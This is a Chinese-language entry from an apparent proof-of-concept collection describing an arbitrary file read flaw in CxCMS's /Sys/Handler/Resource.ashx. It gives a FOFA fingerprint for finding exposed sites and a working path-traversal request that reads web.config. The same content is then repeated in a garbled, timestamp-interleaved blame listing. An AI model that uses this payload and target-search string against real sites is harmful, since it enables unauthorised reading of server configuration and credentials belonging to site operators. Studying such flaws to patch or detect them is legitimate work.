Awesome-POC/CMS漏洞/CxCMS Resource.ashx 任意文件读取漏洞.md

# CxCMS Resource.ashx 任意文件读取漏洞

## 漏洞描述

CxCMS 存在任意文件读取，由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严，导致可以读取系统敏感文件。

## 漏洞影响

```
CxCMS
```

## FOFA

```
"Powered by CxCms"
```

## 漏洞复现

关键字"Powered by CxCms"

![image-20220518144245685](./images/202205181442728.png)

验证POC

```
/Sys/Handler/Resource.ashx?_FilePath=../../web.config
```

![image-20220518144331101](./images/202205181443193.png)
更新漏洞库：CMS漏洞/ 2022-05-18 16:23:08 +08:00			`# CxCMS Resource.ashx 任意文件读取漏洞`

			`## 漏洞描述`

			`CxCMS 存在任意文件读取，由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严，导致可以读取系统敏感文件。`

			`## 漏洞影响`

			```
			`CxCMS`
			```

			`## FOFA`

			```
			`"Powered by CxCms"`
			```

			`## 漏洞复现`

			`关键字"Powered by CxCms"`

更新漏洞 2022-12-05 11:09:28 +08:00			`![image-20220518144245685](./images/202205181442728.png)`
更新漏洞库：CMS漏洞/ 2022-05-18 16:23:08 +08:00
			`验证POC`

			```
			`/Sys/Handler/Resource.ashx?_FilePath=../../web.config`
			```

更新漏洞 2022-12-05 11:09:28 +08:00			`![image-20220518144331101](./images/202205181443193.png)`